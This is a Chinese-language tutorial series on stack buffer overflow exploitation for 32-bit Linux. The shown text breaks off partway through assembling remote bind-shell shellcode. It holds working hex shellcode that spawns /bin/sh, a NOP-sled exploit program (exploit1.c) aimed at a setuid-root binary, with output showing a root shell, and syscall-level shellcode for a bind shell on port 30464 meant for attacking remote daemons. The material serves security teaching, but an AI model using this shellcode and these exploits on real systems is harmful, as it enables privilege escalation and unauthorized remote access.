堆栈溢出从入门到提高
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堆栈溢出从入门到提高
整理：阿新
有一些是在以前的文章里照搬的，希望作者不要介意 :P
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堆栈溢出系列讲座
入门篇
本讲的预备知识：
首先你应该了解intel汇编语言，熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面
的基础知识，有关这方面的计算机书籍很多，我将只是简单阐述原理，着重在应用。其次，
你应该了解linux，本讲中我们的例子将在linux上开发。
1：首先复习一下基础知识。
从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态
全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配
在堆栈里面。
从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我
们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push＝ESP－4，出栈的
操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。
请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。
在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，
接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被
丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回
地址到EIP以继续执行程序。
在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c)。在参数入栈的时候，是：
先压c，再压b,最后a.在取参数的时候，由于栈的先入后出，先取栈顶的a，再取b,最后取c。
（PS:如果你看不懂上面这段概述，请你去看以看关于堆栈的书籍，一般的汇编语言书籍都
会详细的讨论堆栈，必须弄懂它，你才能进行下面的学习）
2:好了，继续,让我们来看一看什么是堆栈溢出。
2.1：运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，导致数据
越界。结果覆盖了老的堆栈数据。
比如有下面一段程序：
程序一：
#include <stdio.h>
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}
编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎么操作的呢？
在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。
我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句：
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数的
局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。现在堆栈
的布局如下：
内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
栈顶部 堆栈底部
执行完gets(name)之后，堆栈如下：
内存底部 内存顶部
name EBP ret
<------ [ipxodi\0 ][ ][ ]
^&name
栈顶部 堆栈底部
最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。
2.2：堆栈溢出
好，看起来一切顺利。我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完
gets（name）之后，堆栈如下：
内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
栈顶部 堆栈底部
由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写
‘A’。由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的
老的元素。 如图
我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把
‘AAAA’的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处
的指令，结果出现错误。这就是一次堆栈溢出。
3：如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数
（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写
越界，覆盖堆栈中的老元素的值，就可以修改返回地址。
在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。
事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。
如果我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我
们的指令。
在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆
栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得
root shell。
下一讲将叙述如何书写一个shell code。
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如何书写一个shell code
一：shellcode基本算法分析
在程序中，执行一个shell的程序是这样写的：
shellcode.c
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#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh"
name[1] = NULL;
execve(name[0], name, NULL);
}
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execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序的argv[i]（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为
第三个参数。
我们来看以看execve的汇编代码：
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
经过以上的分析，可以得到如下的精简指令算法：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。
可是，如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续
执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调
用，结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单：
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用
那么总结一下，合成的汇编代码为：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
二：实现一个shellcode
好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name
数组。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次
程序都是动态加载，字符串和name数组的地址都不是固定的。
通过JMP和call的结合，黑客们巧妙的解决了这个问题。
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jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组，
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
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首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作为
call的返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，
就获得了字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面
8个字节，构造name数组（两个整数，八个字节）。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
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void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
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编译后，用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。
下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）
test.c
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char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有pushl ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。
}
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[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
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我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地址
ret设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的shellcode，
从而我们得到了一个shell。
运行结果，得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作为
一段代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。
而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在
代码段。
这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，关
键在于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有\0字符
出现的。
因此，有些指令需要修改一下：
旧的指令 新的指令
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movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
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movl $0xb,%eax movb $0xb,%al
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movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
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最后的shellcode为：
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char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh" /* .string \"/bin/sh\" */
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三：利用堆栈溢出获得shell
好了，现在我们已经制造了一次堆栈溢出，写好了一个shellcode。准备工作都已经作完，
我们把二者结合起来，就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
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char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
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在执行完strcpy后，堆栈内容如下所示：
内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
栈顶部 堆栈底部
注：S表示shellcode。
A表示shellcode的地址。
这样，在执行完strcpy后，overflow。c将从ret取出A作为返回地址，从而执行了我们
的shellcode。
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利用堆栈溢出获得shell
现在让我们进入最刺激的一讲，利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序，利用前面说过的方法来得到shell。
回想一下前面所讲，我们通过一个shellcode数组来存放shellcode，利用程序中的
strcpy
函数，把shellcode放到了程序的堆栈之中；我们制造了数组越界，用shellcode的
开始地
址覆盖了程序（overflow.c）的返回地址，程序在返回的时候就会去执行我们的
shellcode，从而我们得到了一个shell。
当我们面对别人写的程序时，为了让他执行我们的shellcode，同样必须作这两件
事：
1:把我们的shellcode提供给他，让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。
为了做到这两条，我们必须知道他的strcpy（buffer,ourshellcode）中，buffer
的地址。
因为当我们把shellcode提供给strcpy之后，buffer的开始地址就是shellcode的开
始地址
，我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。
我们知道，对于操作系统来说，一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序，获得运行时的堆栈起始地址，这样，我们就知道了目标程
序堆栈
的开始地址。
下面这个函数，用eax返回当前程序的堆栈指针。（所有C函数的返回值都放在eax
寄存器
里面）:
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unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
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我们在知道了堆栈开始地址后，buffer相对于堆栈开始地址的偏移，是他程序员自
己
写出来的程序决定的，我们不知道，只能靠猜测了。不过，一般的程序堆栈大约是
几K
左右。所以，这个buffer与上面得到的堆栈地址，相差就在几K之间。
显然猜地址这是一件很难的事情，从0试到10K，会把人累死的。
前面我们用来覆盖堆栈的溢出字符串为：
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在，为了提高命中率，我们对他进行如下改进：
用来溢出的字符串变为：
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中：
N为NOP.NOP指令意思是什么都不作，跳过一个CPU指令周期。在intel机器上，
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样，A猜大了也可以落在N上，并且最终会执行到
S.
这个改进大大提高了猜测的命中率，有时几乎可以一次命中。：）））
好了，枯燥的算法分析完了，下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序：
exploit1.c
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#include<stdio.h>
#include<stdlib.h>
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh" /* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="\0"
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1，buff是我们精心制作的溢出字符串，
作为./vulnerable1的参数提供。
以下是执行的结果：
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----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
------------------------------------------------------------------------
----
恭喜，恭喜，你获得了root shell。
下一讲，我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。
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远程堆栈溢出
我们用堆栈溢出攻击守护进程daemon时，原理和前面提到过的本地攻击是相同的。
我们
必须提供给目标daemon一个溢出字符串，里面包含了shellcode。希望敌人在复制
（或者
别的串处理操作）这个串的时候发生堆栈溢出，从而执行我们的shellcode。
普通的shellcode将启动一个子进程执行sh，自己退出。对于我们这些远程的攻击
者来说
，由于我们不在本地，这个sh我们并没有得到。
因此，对于远程使用者，我们传过去的shellcode就必须负担起打开一个socket，
然后
listen我们的连接，给我们一个远程shell的责任。
如何开一个远程shell呢？我们先申请一个socketfd，使用30464（随便，多少都行
）作为
这个socket连接的端口，bind他，然后在这个端口上等待连接listen。当有连接进
来后，
开一个子shell，把连接的clientfd作为子shell的stdin,stdout,stderr。这样，
我们
远程的使用者就有了一个远程shell（跟telnet一样啦）。
下面就是这个算法的C实现：
opensocket.c
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1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>
4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;
7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl("/bin/sh","sh",0);
23 }
24}
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第9行的fork()函数创建了一个子进程，对于父进程fork()的返回值是子进程的
pid，
对于子进程，fork()的返回值是0.本程序中，父进程执行了一个fork就退出了，子
进程
作为socket通信的执行者继续下面的操作。
10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc，然后
调用
bind()绑定30464端口，接下来开始监听listen().程序挂起在accept等待客户连接
。
当有客户连接时，程序被唤醒，进行accept，然后把自己的标准输入，标准输出，
标准错误输出重定向到客户的文件描述符上，开一个子sh，这样，子shell继承了
这个进程的文件描述符，对于客户来说，就是得到了一个远程shell。
看懂了吗？嗯，对，这是一个比较简单的socket程序，很好理解的。好，我们使用
gdb来反编译上面的程序:
[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
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GDB is free software, covered by the GNU General Public License, and you
are
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conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
现在可以写上面c代码的汇编语句了。
fork()的汇编代码
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----
socket(2,1,6)的汇编代码
注：AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66号系统调用，1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
/* 第一个参数 */
/* %esi 指向一段未使用的内存空间 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数 */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----
bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
----
/* bind使用66号系统调用，2号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET（2） */
/* 2 放在 0xc(%esi). */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
/* 端口号(0x7700=30464)放在 0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数 . */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----
listen(soc,1)的汇编代码
------------------------------------------------------------------------
----
/* listen使用66号系统调用，4号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----
accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
----
/* accept使用66号系统调用，5号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\xf1" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----
dup2(cli,0)的汇编代码
------------------------------------------------------------------------
----
/* 第一个参数为 %ebx， 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值， */
/* 客户的文件描述符cli . */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----
现在该把这些所有的细节都串起来，形成一个新的shell的时候了。
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 "\x31\xc0" /* xorl %eax,%eax */
